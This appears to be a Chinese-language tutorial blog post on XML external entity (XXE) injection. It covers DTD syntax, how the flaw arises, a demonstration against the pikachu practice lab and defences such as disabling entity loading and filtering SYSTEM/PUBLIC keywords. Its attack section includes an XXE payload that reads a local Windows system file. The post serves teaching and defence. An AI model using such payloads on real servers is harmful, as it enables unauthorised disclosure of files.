网络安全-XXE(XML外部实体注入)原理、攻击及防御

目录

前言

简介

原理

攻击

防御

禁用外部实体

过滤用户提交的XML数据


前言

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

博主之前用xml也没有使用过DTD,因为是可选的嘛,这里就简单说一下,学过的跳过。

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

内部声明DTD
<!DOCTYPE 根元素 [元素声明]>
引用外部DTD文档
<!DOCTYPE 根元素 SYSTEM "文件名">
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

内部声明实体
<!ENTITY 实体名称 "实体的值">
引用外部实体
<!ENTITY 实体名称 SYSTEM "URI">
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

调用方式:&实体名称;

简介

XML外部实体注入(XML External Entity,为什么不取首字母呢...),简称XXE漏洞。

原理

服务端接收并解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

攻击

使用靶机:pikachu

<?xml version = "1.0"?>
<!DOCTYPE note [
    <!ENTITY hacker "lady_killer9">
]>
<name>&hacker;</name>

 

字符串回显
<?xml version = "1.0"?>
<!DOCTYPE note [
    <!ENTITY hacker SYSTEM "file:///C:/windows/win.ini">
]>
<name>&hacker;</name>

 

敏感文件查看

防御

禁用外部实体

PHP中使用libxml_disable_entity_loader(true);
其他语言(C++、Java等):owasp XXE防御备忘录

博主在做项目时使用的是xml.etree.ElementTree,在python官方文档中也提到对于错误xml以及恶意构建的xml可能存在解析漏洞。不过,python在外部实体注入方面认为是安全的。

过滤用户提交的XML数据

过滤掉关键词:SYSTEM和PUBLIC

更多内容查看:网络安全-自学笔记

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。如果您感觉有所收获,自愿打赏,可选择支付宝18833895206(小于),您的支持是我不断更新的动力。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

lady_killer9

感谢您的打赏,我会加倍努力!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值